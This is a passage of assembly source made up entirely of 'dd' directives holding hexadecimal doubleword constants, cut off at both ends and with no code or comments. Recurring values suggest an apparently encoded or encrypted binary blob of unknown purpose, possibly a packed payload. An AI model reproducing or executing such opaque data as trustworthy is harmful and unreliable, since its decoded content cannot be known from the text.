67443215h, 421EB9EFh, 8F15F696h, 6688321Ch dd 8CE23251h, 0FF32951Bh, 0DC43CAA8h, 9977CDEAh, 691EE33Ch dd 6622339Ah, 0EB2ACE15h, 609A179Ch, 99F4B71Ah, 6942CDEAh dd 0E70CBAAh, 66883215h, 0E560369Eh, 0EBD736D1h, 745F7998h dd 6685DB13h, 27063215h, 0A4F70C18h, 8F80FB4Fh, 8F5D9016h dd 6644321Fh, 56FD7644h, 0B0D6DB28h, 87774D70h, 6645BC1Ah dd 8FD73215h, 66113205h, 54EF5AA6h, 9D429729h, 65896B04h dd 5E8185F1h, 7F59BF9Ch, 99B13407h, 0E5781621h, 68F836D1h dd 58883215h, 4970C5ACh, 0BA27FAB1h, 0E13815B1h, 42BCCD24h dd 6280B14Ch, 66223CFCh, 2D198615h, 0CB58731Ah, 3F692480h dd 0E8EFB0Ah, 6611180Ch, 69AC069Ch, 66442B9Eh, 6636DB15h dd 0CF5F3215h, 5378468Ch, 0A4323533h, 4C6A5E68h, 216371BFh dd 0FB0313BEh, 605628D8h, 6629BD1Ah, 60F83215h, 27883215h dd 0F96C3E37h, 0E711CD0Ah, 56B1611h, 30D168F2h, 314A9FABh dd 88A37478h, 0CC97B07h, 918DD4D4h, 60AAB3CBh, 4F770DFCh dd 8E716CE4h, 6688321Fh, 0BADCB5DFh, 1489505Ch, 68AA6CCAh dd 38EF0FA9h, 664421FCh, 0CA27EA15h, 0A2A5A74Eh, 6CD981D7h dd 3BCDB410h, 4095F860h, 0B794B974h, 68E200Ch, 69BDB973h dd 6943E9A2h, 66113A9Eh, 97035215h, 2C228873h, 69C2E374h dd 66112A9Dh, 0E3875215h, 66443215h, 662239FCh, 717AA615h dd 3098ECC9h, 0F545398Ch, 67A83D74h, 9E113215h, 4B0DB716h dd 6243407h, 66223BFCh, 0AF49F915h, 0C39797B2h, 0EA4B8F92h dd 66223215h, 60953D74h, 0E7883215h, 5A5696D4h, 90135316h dd 6601DBE9h, 0F28B3215h, 9D1E76C3h, 731B0D20h, 739A84BCh dd 30D8BB46h, 4270B94Dh, 6926F696h, 66113599h, 670F3D15h dd 9E443215h, 0A7D79F73h, 0E21E30F5h, 6688321Eh, 664434FCh dd 0C09B6D15h, 65D70094h, 7491AF90h, 6654DB13h, 0E1F23215h dd 741F1D2Bh, 6AD2251Ch, 0C7A7AD5h, 8AA12D32h, 4215BB11h dd 93D66A43h, 6655DBB8h, 105E3215h, 0D02B204Ch, 7F2AEDF3h dd 0C4B60598h, 6313483Bh, 2D9C1573h, 0D8DEFA14h, 554929BEh dd 9267DC94h, 9638D56Ah, 5133524Bh, 9E4169FCh, 4216CD74h dd 62D5B34Bh, 6883215h, 6F1F37AEh, 7B995415h, 0E67153E8h dd 0DFEE34F8h, 0E52537D5h, 74369FA8h, 0E21E3313h, 6688331Bh dd 664ADA75h, 57873215h, 94561105h, 39563707h, 0B3B4E649h dd 251CC194h, 0DF4F210Eh, 57ED2DF5h, 97C90974h, 69242002h dd 6611D391h, 0E0875215h, 66443216h, 30DBB973h, 0EB2A534Ah dd 609A0148h, 668CB61Ah, 6DCB3215h, 6E113215h, 0BD5EA7F8h dd 633EE861h, 0EB19ADA3h, 60031DC4h, 6624B61Ah, 6B13215h dd 0AF953DE0h, 0D98CBF74h, 68E2BFBh, 699A851Ah, 66223793h dd 0F2148A15h, 8FE96F21h, 66443207h, 10F6780Bh, 0D7528DF4h dd 0F07A9182h, 3F9B91A7h, 0B5DD2D2Ch, 6610B81Ah, 36743215h dd 0E7600E9Eh, 662236D1h, 6A9A3D15h, 69883215h, 6644349Bh dd 66A23D15h, 0EF113215h, 749F9790h, 6AC13D13h, 69223215h dd 6611349Ch, 660F3D15h, 8F443215h, 66222D36h, 6602DA75h dd 0ECC63215h, 158C000Eh, 5C4D696Bh, 0E21FFB74h, 0E3698EE0h dd 6655DBC9h, 0BC173215h, 0C7490144h, 173C0275h, 1F1737CCh dd 3CC07FCFh, 41E3B373h, 0FB0553AFh, 605DDCAAh, 6627B71Ah dd 37713215h, 99E9C74Bh, 0DBC7CBC6h, 603026B8h, 14953D15h dd 6883215h, 6642B91Ah, 0E92D3215h, 66113215h, 0D70D0974h dd 6942203Ah, 66221C91h, 73963D15h, 6883215h, 664439FCh dd 0EADCBE15h, 0B677CDE3h, 69D7F5CDh, 7D7E495h, 6A1FB72Eh dd 0E31E3407h, 66883224h, 6645B21Ah, 8FDB3215h, 99EECCF8h dd 6684B31Ah, 0E74B3215h, 66223213h, 6611BB1Ah, 0EF873215h dd 66443218h, 66223AFCh, 9CC41415h, 0A7DA2C50h, 53C109DBh dd 69242026h, 66114D90h, 0DFEE5215h, 0E525D09Ch, 742CDBA8h dd 0E21E3213h, 6688323Ah, 6648BE1Ah, 0E62D3215h, 66113213h dd 6688B01Ah, 0DBC73215h, 6030061Ch, 2B953D15h, 8F883215h dd 6644321Eh, 17E64B40h, 24D31F5Ch, 0EB9E9F16h, 7F7F0C90h dd 705213h, 748EA9Eh, 99765AFCh, 61AD52EAh, 0A0223215h dd 1F7545E5h, 8FE80880h, 66443206h, 0AADDEE93h, 552BA3BDh dd 1AECFEEEh, 0A1FA1C6Bh, 69FED3C0h, 770F5A2h, 55BDB72Eh dd 0E24B3407h, 99DDCC24h, 6ACB1EDh, 678E2B84h, 663DB71Ah dd 0ED2D3215h, 66113202h, 668820FCh, 0D1EE7415h, 24D5713h dd 93AC40A4h, 559B4CEEh, 5D2C3EF7h, 7FB3A690h, 36943D13h dd 6883215h, 7A5B8E9h, 662220FCh, 0E4AC3315h, 72AA4B5Eh dd 766E9CB0h, 50509297h, 0EBAA6F8Ah, 3F83D690h, 0D94B5215h dd 8F43CAEFh, 99EECC16h, 6695B91Ah, 0E34B3215h, 66223202h dd 661120FCh, 77E94015h, 0ADADDB92h, 0FCB4987Ah, 60B3A48h dd 577D56E6h, 13FC52EAh, 8F344D6Fh, 66113219h, 4EBDCC2h dd 5F3399D8h, 0BD2F3E08h, 0BACB174h, 668E2034h, 766DB61Ah dd 5DDA3215h, 7F80B290h dd 540D3D13h, 8F443215h, 66223212h, 0DB38AF38h, 0EDF5652Fh dd 7452FF90h, 0DC445213h, 7ED13B6h, 66898847h, 0B1453215h dd 6629DB4Fh, 0D9F03215h, 0C51F8356h, 0C5F6A4E7h, 0EEA709CAh dd 69172B84h, 66886890h, 67CA3D15h, 9F223215h, 65D8B79Eh dd 0E7E83407h, 35216AD3h, 6630DA21h, 0D0503215h, 0F5C4D0E6h dd 3196049Ah, 94317DB0h, 0F1E7C6B3h, 6688BD1Ah, 71A3215h dd 66238946h, 0B9103215h, 7760524Eh, 0BD443215h, 2F1835CFh dd 0B9FFE9F5h, 0BF421DAFh, 5FC4C6BDh, 796847h, 5D70CC9Eh dd 7F19B690h, 34C13D13h, 69223215h, 66113A98h, 3EDF5215h dd 7B578D73h, 0CBA7B974h, 69172004h, 66882592h, 6656DB15h dd 3CCE3215h, 0EDDA27C6h, 2DFB315Dh, 4D0C715Dh, 0D9701607h dd 66108C43h, 91893215h, 6657DB4Bh, 71E3215h, 0E1F64E2Eh dd 0F689847Ah, 0E7996017h, 667891AAh, 0EA9409C9h, 698E2B84h dd 66441490h, 67A13D15h, 93113215h, 4615B79Eh, 0EE4B3407h dd 66223214h, 99A863ECh, 4F77CDEAh, 37246BDAh, 697C6847h dd 5D70FCAAh, 7F19A290h, 5DC13D13h, 69223215h, 6611339Bh dd 0E303C715h, 60562AE0h, 6623B01Ah, 33ED3215h, 30D5FCA8h dd 64A1F30Ah, 6D5FD794h, 0BBE61335h, 9A41DF94h, 896DECEAh dd 662ADB48h, 2FE23215h, 22488A7Ah, 0E37FD109h, 603BA381h dd 662EB71Ah, 0EDE83215h, 0B9CF54D4h, 9FA7B974h, 6172026h dd 3FD76347h, 78AB973h, 0A6ECB375h, 69337D9Fh, 66883490h dd 66CA3D15h, 7223215h, 66108C43h, 91893215h, 6643DB4Bh dd 0E2853215h, 7CDA2C69h, 0FE0D0954h, 69422B84h, 66220C90h dd 6600DB15h, 94153215h, 91A58CD5h, 75466F9h, 5F173178h dd 0ED785B2Bh, 7447AB90h, 6CAF3D13h, 6113215h, 0E287C89Eh dd 66443215h, 0F79B6374h, 9174876Ch, 979B3C4h, 67DE7893h dd 5DDE6BDAh, 7F80AE90h, 70D3D13h, 69443215h, 66222497h dd 6600DB15h, 2F603215h, 69E65FD3h, 194BD52Bh, 9DBA6377h dd 69AD6411h, 6644339Dh, 0E3A9CB15h, 600335C4h, 668820FCh dd 0FF5C5E15h, 10C53720h, 0C5F8C3F7h, 0C554D8C9h, 0E49E274h dd 66222FE8h, 99350E9Ch, 93D71611h, 66443DFCh, 521A0715h dd 0EC1BE63Bh, 626C00AAh, 154D243Ch, 0F782B72Eh, 0E31E340Ch dd 66883223h, 664CB11Ah, 0ED2D3215h, 66113217h, 0E3035375h dd 60561D08h, 662220FCh, 9D96B115h, 0F70E6FF5h, 0F6A9B77Dh dd 0D6EE86Bh, 359BAC9Ah, 668833AEh, 3D9B3315h, 0E319CAEDh dd 6008A3B1h, 66CFB71Ah, 0E44B3215h, 66223212h, 69EFB875h dd 0EDE9F4AAh, 74689390h, 0E32DC713h, 66113214h, 5A3260EDh dd 9119B461h, 0E7F8C5C7h, 0F06043D7h, 564AB368h, 0E755BC21h dd 0CD3BEDFFh, 3CC61BF9h, 66883AFCh, 0C732A615h, 0CD71BDC3h dd 0CA940998h, 698E2B84h, 66446790h, 0ED445215h, 6616DBC2h dd 231D3215h, 528987FAh, 0E3A953F8h, 600310FCh, 668820FCh dd 3122FE15h, 5A85288Ch, 0D0CEA85Dh, 4DE93EA4h, 69148070h dd 66223A99h, 88905215h, 76197F98h, 99FC6274h, 4FDDCDEAh dd 6E86AD2h, 5F6EB373h, 64C73D9Bh, 35223215h, 0E32A534Bh dd 6091A3BDh, 667DB71Ah, 0E5DA3215h, 740613A8h, 0E3873213h dd 6644323Eh, 662EBA1Ah, 713215h, 0E73198ADh, 0B1C6EBDCh dd 0EDDE5348h, 740E2F90h, 0D9875213h, 0BFFB3DC2h, 679C6474h dd 67113215h, 0E57D6CE2h, 744787A8h, 0E22D3213h, 6611324Fh dd 0A53F3D75h, 52C10974h, 69242B87h, 66117B90h, 67093D15h dd 9F443215h, 4F37B79Eh, 75F83407h, 91883215h, 3F9F3396h dd 4E4BF418h, 0F79CC947h, 0D6D9EBB0h, 24F814h, 6910F4AFh dd 66113294h, 0DED85315h, 66443214h, 8F7AF514h, 6611321Fh dd 0B4137E7Fh, 98AA6A1Fh, 0DBA10A6Bh, 60031C74h, 370C3D15h dd 69443217h, 66223D91h, 661BDB15h, 8A6E3215h, 3C0ABC00h dd 80BCA1D8h, 72F88F96h, 69883407h, 66461D91h, 76AD3D15h dd 8F113215h, 6688321Eh, 8872F19Ah, 31797499h, 6D0ACA1h dd 5DE9FD9Eh, 7FD62A90h, 40A73D13h, 8F113215h, 66883205h dd 5F9D0FF5h, 2E4B148Ah, 0DB744E94h, 0DB205A8Bh, 65A9B79Eh dd 34DE3407h, 661133AFh, 3C5F3315h, 4EC109E0h, 69242B87h dd 66116390h, 67093D15h, 93443215h, 0AEA95475h, 6615B41Ah dd 0DFEE3215h, 0ED250C6Eh, 743E9B90h, 0DD42CB13h, 9977CDEAh dd 691FED3Ch, 66223E9Ah, 6616DB15h, 59603215h, 3E70A0A7h dd 75A33D7Dh, 8F113215h, 6688321Bh, 23E0789Bh, 0BD5DEA0Dh dd 4006973Ah, 0E3B3BA84h, 605DA009h, 6669B71Ah, 74F83215h dd 22883215h, 0B75B832Eh, 0DDF039Dh, 89988A0Bh, 0A41A1ABCh dd 33C1B994h, 69242002h, 66113593h, 0BF035215h, 7BE8D1Ah dd 66238A45h, 0A1103215h, 669BDB4Dh, 37CA3215h, 7B52BC8Ah dd 0EC254628h, 0A638982Ch, 0CC23A299h, 4AA7094Bh, 69172B87h dd 66885190h, 76AC5215h, 55223215h, 1A0C9BFFh, 932DF7F4h dd 14ED9E6h, 392EB011h, 661135FCh, 31C57315h, 0F6B235B3h dd 0E3A7B974h, 617200Ah, 1A6E8873h, 6657BE1Ah, 68CB3215h dd 46113215h, 0A7333724h, 7E70E080h, 0E04E21C4h, 0B19653D7h dd 6689F094h, 0B1C33215h, 0EF2D5275h, 66113215h, 296AB374h dd 754AF0Bh, 0F412B72Eh, 0E31E340Ch, 66883208h, 0ABC1B9E9h dd 8F242001h, 66113212h, 44AF6581h, 33D10E17h, 99DDCDA8h dd 3BFE1BEAh, 460D09EDh, 69422B87h, 66220590h, 699B3D15h dd 8F883215h, 6644321Fh, 88B7073Ch, 0A37466A4h, 0ED7DD074h dd 746F3790h, 6624DB13h, 2EC33215h, 7FC3D055h, 99BB8F40h dd 890BCDEAh, 67933D48h, 9E883215h, 0F460B72Eh, 0E32D340Ch dd 6611325Dh, 0AFA8975h, 86C471A4h, 69CB53E3h, 3B113215h dd 55B8875Dh, 3A00B29Ch, 0E0D5199Eh, 0E39AEDFEh, 609A3170h dd 0FFD58975h, 0A0A32805h, 0B75C91Ch, 67326074h, 67443215h dd 0EC2D68C2h, 6611321Dh, 668AB61Ah, 7243215h, 72CB8F96h dd 69113407h, 6681AC91h, 664EDB15h, 600F3215h, 0DA74E7A6h dd 3EC91E4h, 8FC55475h, 5D43FFC4h, 7F808290h, 7A0D3D13h dd 9E443215h, 44DBB79Eh, 8FED3407h, 66883210h, 56EE8B4Eh dd 679F670Bh, 67113215h, 5D716FFAh, 7FD67690h, 7A73D13h dd 69113215h, 66883A9Bh, 64CB3D15h, 6223215h, 0A394B974h dd 68E200Eh, 0C75256AFh, 7FCB962h, 660FBC1Ah, 0EDE83215h dd 6650DACCh, 0D4313215h, 80D130Bh, 7B9B42F1h, 51FF913Bh dd 1E874475h, 7485D8Ah, 3BD76742h, 8FABB550h, 66223213h dd 0E0F6E7D0h, 8FE8A54Eh, 66443213h, 75CF7453h, 7E9F57Dh dd 0F73CB72Eh, 0E34B340Ch, 66223239h, 661137FCh, 359F3A15h dd 0E3CF9026h, 603026B4h, 661DBC1Ah, 69E83215h, 6644329Bh dd 0D19A5415h, 0DD4253C9h, 66883214h, 9F1FED14h, 0F79AB72Eh dd 0E31E340Ch, 6688320Bh, 0BFC1B9ECh, 6242030h, 28DAB373h dd 759B82Fh, 66458F40h, 89233215h, 0D11E5248h, 0E3B353C6h dd 605DA3A9h, 6613B71Ah, 0EF1E3215h, 66883214h, 5BC1B9ECh dd 93242012h, 0A490E592h, 66883214h, 72ADE592h, 26223215h dd 581297B6h, 0D061D8E6h, 0F6AAC0DEh, 433D171Ch, 5DBE8440h dd 7F19F290h, 0C13D13h, 6223215h, 745B8973h, 7C4DE95h dd 71658F96h, 69223407h, 66116290h, 0B6095215h, 66B60F0Ah dd 6627BD1Ah, 6FAB3215h dd 7DF189Ch, 7C01B79Eh, 0E22D3407h, 66113212h, 6689BB1Ah dd 69B83215h, 66223E90h, 60923D15h, 69883215h, 66443292h dd 62CEB115h, 99350E9Ch, 8FD71611h, 6644321Ch, 0A782B5F7h dd 65A7A319h, 0A20D0994h, 69422B84h, 66226990h, 7F9B3D15h dd 8F883215h, 66443201h, 0FEB9508Ch, 83AE8185h, 1BADA9Ah dd 0D52D2169h, 0FD4B59B3h, 661FDB75h, 0F9B13215h, 0E70C5B33h dd 0F89F5769h, 5AC9A7Dh, 7528D1Ah, 7F85B79Eh, 33DE3407h dd 661133A8h, 3B673315h, 664AB01Ah, 6FCB3215h, 73113215h dd 7C039F03h, 0FDA96C94h, 0F7EAB72Eh, 0E31E340Ch, 66883245h dd 47F9B1ECh, 66242002h, 6653B71Ah, 0E8873215h, 6644321Bh dd 17E9B375h, 0E74AF86Fh, 4FDD0DFh, 0E3CF533Ch, 603035ECh dd 99AC67E0h, 4F77CDEAh, 69B16FFAh, 6622259Dh, 6603DB15h dd 0BF513215h, 6F237748h, 0EBECF807h, 0CB171D33h, 1DE4C4EEh dd 0F788B72Eh, 0E32D340Ch, 66113255h, 2F18A75h, 61227A1h dd 0ED436B74h, 743AEF90h, 6684DB13h, 914F3215h, 5C7BBCF3h dd 0D21358BEh, 0D8DEC88Eh, 99BBCDEAh, 937CC53Ch, 66113DFCh dd 493FAB15h, 64A9FD14h, 79C1F9D8h, 0D862BAC6h, 0F758B72Eh dd 0E34B340Ch, 66223255h, 6610B41Ah, 0ED703215h, 744D3B90h dd 6CA63D13h, 6113215h, 0FBADBABh, 0FFB6B26Ch, 679A6274h dd 67113215h, 0E2876AD2h, 66443201h, 66223DFCh, 958A6915h dd 0D5D595A4h, 0B0875DCFh, 81CE2A7Ch, 0F7C9B72Eh, 0E387340Ch dd 66443252h, 479FB1E9h, 66172002h, 66B1B71Ah, 0E7243215h dd 0DEE9CBD7h, 705810Ch, 7505B79Eh, 0E74B3407h, 66223212h dd 6610BB1Ah, 35713215h, 664433AEh, 3DFD3315h, 6610BC1Ah dd 8F713215h, 66443212h, 0DA9EA8AAh, 5D600EEBh, 7F19E690h dd 0BC13D13h, 8F223215h, 6611321Bh, 0AB93A956h, 84D4135Fh dd 4D5952Eh, 0DB92144Ch, 609A2534h, 2BC13D15h, 69223215h dd 66112C94h, 7E0B3D15h, 8F443215h, 66223206h, 0FC378CEAh dd 46E961D8h, 41D56DDCh, 707FC2D9h, 0EDAC2430h, 74A82F90h dd 67C53D13h, 9F223215h, 99AB60E9h, 4F77CDEAh, 0ED4B68C2h dd 66223219h, 89905475h, 0E7EE1863h, 79392D6h, 0F7FEB72Eh dd 0E31E340Ch, 6688323Bh, 9BC1B9E0h, 8F242036h, 66113201h dd 199B5837h, 650F2EF9h, 6C30351h, 0EEDDED65h, 69D8AEB7h dd 99BB8A45h, 0A10BCDEAh, 0ECE4524Dh, 0E3B353E0h, 605DA3F5h dd 6617B71Ah, 69713215h, 6688309Ah, 7255215h, 623BB79Eh dd 69E93407h, 6688359Ch, 67CF3D15h, 9E223215h, 66108F40h dd 89893215h, 6ECA3D48h, 69223215h, 6611309Fh, 5DE95215h dd 7FD5D690h, 2DA73D13h, 69113215h, 6688339Fh, 0E3CFCE15h dd 6030359Ch, 661139FCh, 0A9126A15h, 0F2B17EF9h, 47566A25h dd 1DD58F40h, 93093B18h, 90B6B62Eh, 67FDD3Ch, 4E4B8873h dd 668826FCh, 428D3515h, 9501AE96h, 28B360ACh, 5A409753h dd 0CBEB8E0Eh, 0E319531Fh, 6008A3FDh, 66A8B71Ah, 9FBD3215h dd 668FB79Eh, 30ED3407h, 83AB76ABh, 0DB82B345h, 678D28C9h dd 0E6716CE2h, 0D987F1F9h, 0E37F53EAh, 603BA3F9h, 6621B71Ah dd 75613215h, 5443215h, 0B4E964E7h, 0B155ACFh, 8FDE12FDh dd 0FA9BB2BFh, 0E3A9BEEAh, 60031F50h, 263062E9h, 9124E40Eh dd 82E31FCDh, 0A138AD3Ch, 0E3B3C74Dh, 605DA3E5h, 6651B71Ah dd 0E41E3215h, 66883219h, 6642B01Ah, 0E52D3215h, 66113215h dd 4CD5B79Eh, 0E04B3407h, 6622320Ch, 661126FCh, 0F8833215h dd 224256FBh, 675F9B9Fh, 585C4C18h, 294A3A00h, 579B0363h dd 25FD03EEh, 8F71ED92h, 66883206h, 0C1B4247Bh, 3B534247h dd 0D947BC38h, 9FDBB77Bh, 715931Eh, 6631B41Ah, 68F83215h dd 0CF883215h, 8CE80C27h, 0A88617D9h, 2B93C552h, 920D090Fh dd 69422B84h, 66225190h, 76F95215h, 0B0883215h, 39452DF4h dd 0E6EA8B4Ch, 18D41258h, 35DBA4A0h, 0E04B6A4Dh, 66223214h dd 0E39A53ECh, 609A0000h, 80C55475h, 6DCA52EAh, 12113215h dd 0E301EC72h, 216EDDE1h, 6ECBC2C6h, 0BF113215h, 2B6FA042h dd 3867CC38h, 67986074h, 67113215h, 0E08768C2h, 6644321Dh dd 6620B61Ah, 7713215h, 0F770B72Eh, 0E34B340Ch, 66223257h dd 0A794B9EDh, 698E203Ah, 66442995h, 75CA5215h, 2C113215h dd 5302BAD1h, 6C04D2BDh, 6953603Bh, 0A1FD382h, 7D369A6h dd 66458A45h, 0A1233215h, 6D903D4Dh, 8F883215h, 66443213h dd 0C0093E06h, 0E32A3B86h, 609A1B84h, 660BB71Ah, 69423215h dd 66113395h, 0D8EECB15h, 0ED25D2A0h, 742EA390h, 0EF1E5213h dd 66883215h, 0DE1453E0h, 18DE43EAh, 6505FD10h, 4350C551h dd 69DB3DBCh, 5326D2D4h, 0B611A014h, 8FD0F514h, 66443204h dd 0C9AAFDE3h, 0D1B9708Ch, 85CD63E1h, 0C52AAE4h, 9AA7095Ah dd 69172B84h, 66882C90h, 0E3CFCE15h, 60300164h, 99AC67E9h dd 4F77CDEAh, 6EAD6FFAh, 0B1223215h, 5229070Fh, 5D82E63Bh dd 7FD60A90h, 1DA73D13h, 6113215h, 90A2DB94h, 1FD0482h dd 72A8BF3h, 0CB978A75h, 0E5E96B55h, 7FD672A8h, 0E32D3213h dd 66113235h, 6684B71Ah, 0E34B3215h, 66223213h, 6611BE1Ah dd 0DB0B3215h, 605626B8h, 5DA63D15h, 9A113215h, 7415B79Eh dd 75AD3407h, 58223215h, 0C879C6A5h, 0C7DCEF22h, 0E1701D51h dd 85A6CC7h, 0DD42D33Dh, 30F01AFDh, 76D1C194h, 0ADA33DFBh dd 450D186Ah, 5C08D994h, 0B96D498Bh, 0E319CE4Eh, 6008A029h dd 66ECB71Ah, 0EA4B3215h, 66223219h, 6617BF1Ah, 0EB873215h dd 66443215h, 0F4628F96h, 6911340Ch, 66882F90h, 664EDB15h dd 5B373215h, 0FC548C29h, 0D445A1BFh, 72E98F96h, 69223407h dd 66111B91h, 0E303CE15h, 60562A98h, 662238FCh, 0DA57D515h dd 86E753BDh, 376E9694h, 662233ACh, 3FDE3315h, 4C6DB275h dd 0AFB2B373h, 0E319530Fh, 6008A015h, 66C2B71Ah, 0D7243215h dd 6624DA4Ah, 0DDE53215h, 0BFA3B7A3h, 6644B51Ah, 7793215h dd 7E10B79Eh, 0E2873407h, 66443204h, 6629B51Ah, 60F83215h dd 90883215h, 0DAB81B6Fh, 679C64ABh, 67113215h, 0E9876CE2h dd 6644321Dh, 6620B11Ah, 7713215h, 0F48CB72Eh, 0E34B340Ch dd 66223232h, 2794B9E9h, 698E200Bh, 66443396h, 0DD71C715h dd 66113214h, 8FD3ED14h, 6644321Eh, 7B6883D9h, 0C1DBB74Ah dd 5DC6D6F9h, 7FD63A90h, 24A73D13h, 8F113215h, 66883207h dd 0F733A1C1h, 2677851Ah, 0E40A083Ch, 483C151Ch, 0E3CF0A41h dd 60300074h, 661EBB1Ah, 6C613215h, 0E9443215h, 0EE7BEE1Dh dd 9751FF1Ch, 9931636Ah, 4FBBCDEAh, 0EF2D6BDAh, 66113214h dd 6A0D09E9h, 69422B87h, 66227F90h, 0E51E5215h, 6688320Dh dd 664420FDh, 6CEBF715h, 3CA6EC78h, 75884539h, 0E7F994B8h dd 3CD50C8Ah, 7E08D1Ah, 69BDB79Eh, 69243407h, 3443EBAAh dd 661133AFh, 3C5F3315h, 0E0C58B75h, 6CCB5B0Ch, 4C113215h dd 45AF7C50h, 0F7F63ED9h, 0E31953E9h, 6008A005h, 66BBB71Ah dd 0EDB83215h, 7438F390h, 0DB44CB13h, 1E222DC4h, 148DFF94h dd 93A3097Ch, 55E20C09h, 8B49EFE2h, 0D9A9B31Dh, 4F2285F2h dd 0E7716FFAh, 91B949E3h, 0BAA6B200h, 72A70974h, 69172B87h dd 66887C90h, 0E3CFCB15h, 603010ECh, 27CAB375h, 0E7FB30CAh dd 40255FCBh, 0EA2D534Ch, 6611321Bh, 66883BFCh, 804EBA15h dd 33CC03EEh, 0DE4149B4h dd 9977CDEAh, 691CF53Ch, 66223591h, 67933D15h, 93883215h dd 664438FCh, 5A798715h, 307F4CA9h, 6D07F64Ah, 51C03DEAh dd 6223215h, 6617BA1Ah, 0E1873215h, 66443215h, 662239FCh dd 9BA82615h, 0F42D22B6h, 575273C8h, 8B47DB74h, 69F8CDEAh dd 2E883215h, 1EA0845Dh, 0F1879D91h, 9B83B762h, 0E3B33D5Bh dd 60561824h, 6601B71Ah, 0ED713215h, 0EB7453CFh, 7F633990h dd 0D12D5213h, 6619DBC4h, 6D893215h, 9BB61A9Ch, 8F433BFBh dd 99EEDF36h, 230D09E0h, 69422025h, 66226C90h, 0D11E5215h dd 71083DD6h, 8F443215h, 66223207h, 4BAF6661h, 70036BA4h dd 9555879Eh, 0A5ACC2D2h, 9A70EC32h, 0F7E88F96h, 6945340Ch dd 66221C90h, 661ADB15h, 0E6B73215h, 3653BD4Fh, 4430A3E5h dd 194BFEAh, 8F886B1Eh, 66443212h, 4F846322h, 8FF0E045h dd 9977DEAAh, 426C8975h, 5D431FDDh, 7F804290h, 470C3D13h dd 8F443215h, 6622321Ch, 6226BD6Fh, 0F286D47h, 12C10967h dd 69242B84h, 66112D90h, 670D3D15h, 9F443215h, 99CEB4FCh dd 0DD7752EAh, 6E61B90Eh, 6A443215h, 6FB1943Eh, 71155C3h dd 79F35A45h, 0A71C5FEDh, 0DD7134F5h, 6C93125Dh, 91D3EA14h dd 66B31FC5h, 0A0AB4563h, 6618DB4Dh, 4E613215h, 0BF519BC7h dd 93F1A5B4h, 6910CC96h, 6688F690h, 74CC3D15h, 8F223215h dd 66113218h, 0B63828EDh, 0AA2AE6B7h, 0EBFAD47Ch, 2940915h dd 698E2B84h, 66440F90h, 72CB5215h, 74113215h, 77502805h dd 8F59360Dh, 70FC98F2h, 0FEE72D75h, 9FD9CA30h, 0A2C1BF74h dd 6226A92h, 34C0B973h, 0D960B373h, 8F25692Bh, 99DDD9F2h dd 71A08975h, 3C3A0C45h, 0E37FCE74h, 603BA37Dh, 663EB71Ah dd 61613215h, 0E443215h, 7A558A99h, 0E39C4CF1h, 66D0BA2Fh dd 664439FCh, 0C89E3E15h, 5EAEE2F6h, 0E46BB2EBh, 8DEDDBE9h dd 0E82DCDEAh, 66113214h, 0A0D09E9h, 69422B84h, 66222E90h dd 0E39CCB15h, 66D0BA6Ah, 6645BD1Ah, 9ADA3215h, 99FAB0FCh dd 7D52EAh, 50C6F994h, 0A1AB6574h, 64E6A42h, 0F5038973h dd 0EB4B53EDh, 66223202h, 8FE2B975h, 6688321Bh, 64ECB50Fh dd 5F22AF6Fh, 0AE70D9F5h, 0D8E97DCDh, 3AB94853h, 3F768847h dd 8C904FA4h, 6FA5D82Ch, 0E71EE41Ch, 0A4BC5FBh, 80907C5Bh dd 7BBB300Dh, 65B2B353h, 62E2115h, 66113DFCh, 29252015h dd 8B934E9Eh, 0BC1FA10Fh, 2B0C725Ch, 6DE955A1h, 6DC13DE3h dd 6223215h, 7EAB973h, 9962FAFCh, 22CCAEAh, 0EF22322Fh dd 694F1611h, 66882294h, 664FDB15h, 0F2BF3215h, 44E8FA4Dh dd 0B3D04581h, 6650DB29h, 374F3215h, 0AAD9E769h, 34C0B696h dd 0CEEF82CEh, 16A0F213h, 0D398CED4h, 609A2F48h, 664EB61Ah dd 63CB3215h, 0E3113215h, 0D220AB20h, 54B1879Ch, 6423407h dd 61E395h, 72E82AEh, 58C453E9h, 6FA73DFCh, 69113214h dd 6688289Ch, 74AC5215h, 0D7223215h, 0DD7478BCh, 112578F4h dd 0E506706Eh, 5FD9F77h, 9A706D08h, 368944EAh, 0A6471BADh dd 42661B2Dh, 0E74E6A11h, 0A68B1BD2h, 60CB3D2Dh, 6223215h dd 9A06FC95h, 0B67B374h, 0E71C8F60h, 964EDDD2h, 0E7E6336Dh dd 96E4DDFAh, 0B83B36Dh, 8F7A8F60h, 6611321Dh, 2DB80FD4h dd 0CE851642h, 97996143h, 57585076h, 3D8C1649h, 97B7B34Eh dd 66B5076h, 661135FCh, 65668515h, 0AECC70ACh, 7F18D1Ah dd 62FDB3EDh, 0EF883215h, 54FA1621h, 0E70AB11Dh, 0E4D900FBh dd 387B333Dh, 6AD8675h, 6622BA1Ah, 0D8773215h, 7E9BEDEh dd 7B198F2Eh, 0E42D3407h, 6611323Dh, 668826FCh, 0EEEC1F15h dd 0F447799Bh, 0F6B05A88h, 8299DE77h, 604C3B08h, 69D90935h dd 66111593h, 67073D15h, 9F443215h, 99CB42FCh, 6614DBEAh dd 80BC3215h, 69AA48E8h, 66223992h, 0DC775215h, 0E7EE6E69h dd 74416F7h, 4B1F8F9Eh, 0A1E93407h, 74AE8390h, 66443213h dd 95A35215h, 45507EE5h, 6E9E19Eh, 66443BFCh, 0F81D9615h dd 508AC2EFh, 0D301AC83h, 605600E0h, 0B9BFBFE9h, 9E172800h dd 66883BFCh, 0D8E30E15h, 851BA70Bh, 0B5EE1F50h, 6689B51Ah dd 6DB83215h, 44A63DD5h, 6113215h, 2D63B373h, 0ACCF5466h dd 667EDB74h, 68F83215h, 9F883215h, 3675D734h, 552DDF9Fh dd 0C4E540ABh, 0BF15BFC5h, 8F422599h, 66223212h, 4A8491E5h dd 9982972Dh, 0F1C73DC6h, 6DDCDEAh, 6970BBA7h, 6688339Fh dd 0D3CFCB15h, 603000E0h, 0D7A4BBE0h, 68E2033h, 0E2AE11ADh dd 0EB43C772h, 7E8DAD88h, 0B6035213h, 9925E39Eh, 0E3A9CBC6h dd 60032F48h, 66883EFCh, 0CD653515h, 0D154E7Eh, 4C29299Dh dd 930DBBEFh, 6422027h, 8E668675h, 66113204h, 21E1ADF7h dd 0DAEDD97Dh, 0AF7BAC0h, 0E44B2775h, 7E96907h, 75AC5274h dd 0B4223215h, 0B336124Ah, 0A5C85DD4h, 504F4AE4h, 28388413h dd 38EDE6FBh, 7BCEF95h, 69AC0C95h, 66228990h, 0E7775215h dd 8F5B7CF7h, 66443213h, 